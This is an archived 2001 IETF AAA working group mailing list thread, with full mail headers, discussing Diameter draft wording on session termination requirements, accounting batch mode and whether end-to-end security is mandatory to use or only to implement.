Feb 2001 18:52:58 -0500 (EST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by segue.merit.edu (Postfix) with ESMTP id 847615DEA7 for ; Wed, 28 Feb 2001 18:42:17 -0500 (EST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f1SNgFd10420 for ; Thu, 1 Mar 2001 00:42:15 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Thu Mar 01 00:43:44 2001 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Thu, 1 Mar 2001 00:42:15 +0100 Message-ID: <577066326047D41180AC00508B955DDA01D7FECF@eestqnt104.es.eu.ericsson.se> From: "Martin Julien (ECE)" To: "'aaa-wg@merit.edu'" Subject: [AAA-WG]: Session Termination, MAY or MUST? Date: Wed, 28 Feb 2001 11:09:01 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk Hi, From the draft-ietf-aaa-diameter-00.txt, I am wondering why the set of messages for Session Termination is not clearly a MUST in the specification. In fact, there are a whole bunch of MAY and SHOULD. In section 3.6, there is a MAY, which means that compliance to the specification does not require support for Session Termination, right? "The Diameter Base Protocol provides a set of messages that MAY be used by any peer to explicitly request that a previously authenticated and/or authorized session be terminated." Furthermore, there is some confusion about what an STR MUST or SHOULD be responsible for. In section 2.0 (overview): (says MUST) "Session state (associated with a Session-Id) MUST be freed upon receipt of the Session-Termination-Request, Session-Termination-Answer, expiration of authorized service time in the Session-Timeout AVP, and according to rules established in a particular extension/application of Diameter." Which contradicts section 3.6.2: (says SHOULD) "Upon receipt of the STR, the Diameter Server SHOULD release all resources for the session indicated by the Session-Id AVP. Any intermediate server in the Proxy-Chain MAY also release any resources, if necessary." In fact, I think we have already mentioned on this ML, but resources are released on the STA, not the STR. Well, upon the sending or receipt of a STA is more generic, since it includes proxy servers and NAS. I would like to have it clarified. In conclusion, I would prefer having a clear statement saying that the set of messages for Session Termination are a MUST. Regards, Martin From owner-aaa-bof@merit.edu Wed Feb 28 18:59:53 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA02224 for ; Wed, 28 Feb 2001 18:59:53 -0500 (EST) Received: by segue.merit.edu (Postfix) id 432A55E1A0; Wed, 28 Feb 2001 18:55:02 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E92805E0A0; Wed, 28 Feb 2001 18:52:59 -0500 (EST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by segue.merit.edu (Postfix) with ESMTP id DD0805DEB0 for ; Wed, 28 Feb 2001 18:42:40 -0500 (EST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f1SNgdd10480 for ; Thu, 1 Mar 2001 00:42:39 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Thu Mar 01 00:44:08 2001 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Thu, 1 Mar 2001 00:42:39 +0100 Message-ID: <577066326047D41180AC00508B955DDA01D7FED0@eestqnt104.es.eu.ericsson.se> From: "Martin Julien (ECE)" To: "'aaa-wg@merit.edu'" Subject: [AAA-WG]: Comments on draft-ietf-aaa-diameter-accounting-00.txt Date: Wed, 28 Feb 2001 11:13:16 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk Hi, In section 2.2: "Only the target Diameter Server, known as the home Diameter Server, SHOULD respond with the Accounting-Answer command. However, if a Diameter node in the proxy chain stores the accounting records for submission to the home network in batched mode, it MUST respond to the request." That paragraph should not appear in this document, since the batch mode is removed. Regards, Martin From owner-aaa-bof@merit.edu Wed Feb 28 19:54:21 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA03888 for ; Wed, 28 Feb 2001 19:54:21 -0500 (EST) Received: by segue.merit.edu (Postfix) id E9BAE5E294; Wed, 28 Feb 2001 19:47:49 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id EBD875E130; Wed, 28 Feb 2001 19:40:50 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id E578B5E0B3 for ; Wed, 28 Feb 2001 19:19:18 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA09199; Wed, 28 Feb 2001 16:19:12 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA29664; Wed, 28 Feb 2001 16:19:12 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id QAA08352; Wed, 28 Feb 2001 16:19:09 -0800 (PST) Date: Wed, 28 Feb 2001 16:14:47 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Session Termination, MAY or MUST? To: "Martin Julien (ECE)" Cc: "'aaa-wg@merit.edu'" In-Reply-To: "Your message with ID" <577066326047D41180AC00508B955DDA01D7FECF@eestqnt104.es.eu.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All fixed in -01. Thanks for your comments. PatC > Hi, > > From the draft-ietf-aaa-diameter-00.txt, I am wondering > why the set of messages for Session Termination is not > clearly a MUST in the specification. In fact, there are > a whole bunch of MAY and SHOULD. > > In section 3.6, there is a MAY, which means that > compliance to the specification does not require > support for Session Termination, right? > > "The Diameter Base Protocol provides a set of messages > that MAY be used by any peer to explicitly request that > a previously authenticated and/or authorized session > be terminated." > > > Furthermore, there is some confusion about what an STR > MUST or SHOULD be responsible for. > > In section 2.0 (overview): (says MUST) > > "Session state (associated with a Session-Id) MUST be > freed upon receipt of the Session-Termination-Request, > Session-Termination-Answer, expiration of authorized > service time in the Session-Timeout AVP, and according > to rules established in a particular extension/application > of Diameter." > > Which contradicts section 3.6.2: (says SHOULD) > > "Upon receipt of the STR, the Diameter Server SHOULD > release all resources for the session indicated by > the Session-Id AVP. Any intermediate server in the > Proxy-Chain MAY also release any resources, if necessary." > > In fact, I think we have already mentioned on this ML, but > resources are released on the STA, not the STR. Well, upon > the sending or receipt of a STA is more generic, since it > includes proxy servers and NAS. I would like to have it > clarified. > > > In conclusion, I would prefer having a clear statement > saying that the set of messages for Session Termination > are a MUST. > > Regards, > Martin > From owner-aaa-bof@merit.edu Wed Feb 28 20:44:02 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA04869 for ; Wed, 28 Feb 2001 20:44:02 -0500 (EST) Received: by segue.merit.edu (Postfix) id ADB735E0F7; Wed, 28 Feb 2001 19:43:15 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 5D04F5E24A; Wed, 28 Feb 2001 19:37:01 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 5B25B5E411 for ; Wed, 28 Feb 2001 19:20:51 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA10495; Wed, 28 Feb 2001 16:20:45 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA29992; Wed, 28 Feb 2001 16:20:44 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id QAA08373; Wed, 28 Feb 2001 16:20:43 -0800 (PST) Date: Wed, 28 Feb 2001 16:16:21 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Comments on draft-ietf-aaa-diameter-accounting-00.txt To: "Martin Julien (ECE)" Cc: "'aaa-wg@merit.edu'" In-Reply-To: "Your message with ID" <577066326047D41180AC00508B955DDA01D7FED0@eestqnt104.es.eu.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Fixed in -01. Thanks for pointing this out. PatC > Hi, > > In section 2.2: > > "Only the target Diameter Server, known as the home Diameter Server, > SHOULD respond with the Accounting-Answer command. However, if a > Diameter node in the proxy chain stores the accounting records for > submission to the home network in batched mode, it MUST respond to > the request." > > That paragraph should not appear in this document, since the batch mode > is removed. > > Regards, > Martin > From owner-aaa-bof@merit.edu Wed Feb 28 23:48:20 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA10854 for ; Wed, 28 Feb 2001 23:48:20 -0500 (EST) Received: by segue.merit.edu (Postfix) id 615005DE91; Wed, 28 Feb 2001 23:43:16 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 420CD5DD8D; Wed, 28 Feb 2001 23:43:16 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 9E90F5DEC0 for ; Wed, 28 Feb 2001 23:43:06 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f214ZXC23737; Wed, 28 Feb 2001 20:35:38 -0800 From: "Bernard Aboba" To: "Jari Arkko" Cc: "Aaa-Wg@Merit. Edu" Subject: RE: [AAA-WG]: Back to extensions... Date: Wed, 28 Feb 2001 20:43:17 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3A9C1870.2030909@kolumbus.fi> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >I am uncomfortable with end-to-end security being mandatory. >There are applications of Diameter where it is not needed, and >it does have high implementation cost both in terms of complexity >and power requirements. Would it be possible to relax this >requirement, at least for NASes? End-to-end security is mandatory to implement, it is not mandatory to use. So if it is not needed, you don't have to turn it on.